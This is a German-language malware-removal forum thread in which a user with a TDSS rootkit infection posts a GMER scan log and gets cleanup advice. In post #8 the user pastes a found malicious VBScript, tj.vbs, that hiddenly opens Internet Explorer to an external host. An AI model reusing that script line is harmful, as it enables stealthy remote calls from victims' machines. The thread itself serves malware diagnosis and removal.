| |
| |||||||
Plagegeister aller Art und deren Bekämpfung: Befall TDSS-X, TDSSPack-L, -K, -OWindows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen. |
 |
| |
13.06.2009, 16:49
| #1 |
  |  Befall TDSS-X, TDSSPack-L, -K, -O Lade es bei materialordner.de hoch und schicke den Link zur Info.txt und zum Log.txt.
__________________ Avira Upgrade 10 ist auf dem Markt! Agressive Einstellung von Avira What goes around comes around!  |
|
13.06.2009, 16:57
| #3 |
| | Befall TDSS-X, TDSSPack-L, -K, -O Schön, dann warten wir halt beide.
__________________ Ich brauche das Gmer-Log. ciao, andreas
__________________ |
|
13.06.2009, 16:59
| #4 |
 | Befall TDSS-X, TDSSPack-L, -K, -O Tschuldigung, wird gemacht |
|
13.06.2009, 17:01
| #5 |
| | Befall TDSS-X, TDSSPack-L, -K, -O Das ist aber jetzt schnell durchgelaufen, von wegen 3 bis 10 Minuten... und hier das Ergebnis: GMER 1.0.15.14966 - http://www.gmer.net Rootkit scan 2009-06-13 18:01:00 Windows 5.1.2600 Service Pack 2 ---- System - GMER 1.0.15 ---- Code 860EF838 ZwEnumerateKey Code 861057B8 ZwFlushInstructionCache Code 8610D4BE IofCallDriver Code 86101AB6 IofCompleteRequest ---- Kernel code sections - GMER 1.0.15 ---- .text ntkrnlpa.exe!IofCallDriver 804EF0BC 5 Bytes JMP 8610D4C3 .text ntkrnlpa.exe!IofCompleteRequest 804EF14C 5 Bytes JMP 86101ABB PAGE ntkrnlpa.exe!ZwFlushInstructionCache 805B528A 5 Bytes JMP 861057BC PAGE ntkrnlpa.exe!ZwEnumerateKey 8062296E 5 Bytes JMP 860EF83C ? nwfilter.sys Das System kann die angegebene Datei nicht finden. ! ? system32\drivers\athiport.sys Das System kann den angegebenen Pfad nicht finden. ! ---- User code sections - GMER 1.0.15 ---- .text C:\WINDOWS\system32\winlogon.exe[480] ntdll.dll!LdrLoadDll 7C925CBB 5 Bytes JMP 0068000A .text C:\WINDOWS\system32\winlogon.exe[480] ntdll.dll!LdrUnloadDll 7C926C83 5 Bytes JMP 0069000A .text C:\WINDOWS\system32\services.exe[524] ntdll.dll!LdrLoadDll 7C925CBB 5 Bytes JMP 006F000A .text C:\WINDOWS\system32\services.exe[524] ntdll.dll!LdrUnloadDll 7C926C83 5 Bytes JMP 0071000A .text C:\WINDOWS\system32\lsass.exe[536] ntdll.dll!LdrLoadDll 7C925CBB 5 Bytes JMP 0071000A .text C:\WINDOWS\system32\lsass.exe[536] ntdll.dll!LdrUnloadDll 7C926C83 5 Bytes JMP 0075000A ---- Devices - GMER 1.0.15 ---- AttachedDevice \FileSystem\Ntfs \Ntfs savonaccessfilter.sys (SAV On-access and HIPS for Windows XP (x86)/Sophos Plc) AttachedDevice \FileSystem\Fastfat \Fat savonaccessfilter.sys (SAV On-access and HIPS for Windows XP (x86)/Sophos Plc) AttachedDevice \FileSystem\Fastfat \Fat fltMgr.sys (Microsoft Filesystem Filter Manager/Microsoft Corporation) ---- EOF - GMER 1.0.15 ---- |
|
13.06.2009, 17:06
| #6 |
| | Befall TDSS-X, TDSSPack-L, -K, -O uacd.sys ist tot. 1.) Deinstalliere Malwarebytes. 2.) http://www.trojaner-board.de/51187-a...i-malware.html ciao, andreas
__________________ --> Befall TDSS-X, TDSSPack-L, -K, -O |
|
13.06.2009, 17:08
| #7 |
| | Befall TDSS-X, TDSSPack-L, -K, -O Also ich deinstalliere es, dann fahr ich runter, und dann installier ichs neu, korrekt? |
|
13.06.2009, 18:52
| #8 |
| | Befall TDSS-X, TDSSPack-L, -K, -O Mist, den letzten Beitrag hab ich nicht gesehen gehabt, da lief das Malware schon. Also: tj.vbs Code:
ATTFilter set Cleaner=createobject("wscript.shell")
Cleaner.run "iexplore http://stat.winrar2009.cn:88/tj2.htm",vbhide
http://www.materialordner.de/beJmOJbus41EpSoFPs31bvkWiqz7g7Kh.html Ich weiß nicht, was das für Zeug ist, das meiste ist vom 29. Juli 2008, ich hab den Rechner erst so im Oktober bekommen. Jetzt guck ich mal zwecks Combo. |
|
| Themen zu Befall TDSS-X, TDSSPack-L, -K, -O |
| adobe, automatische, befall, bios, c:\windows, computer, dateien, entfernen, folge, hängt, klick, link, maßnahme, neustarten, probleme, programme, quarantäne, seite, sophos, suche, system, system32, trojaner, version, windows, öffnen |
Hybrid-Darstellung
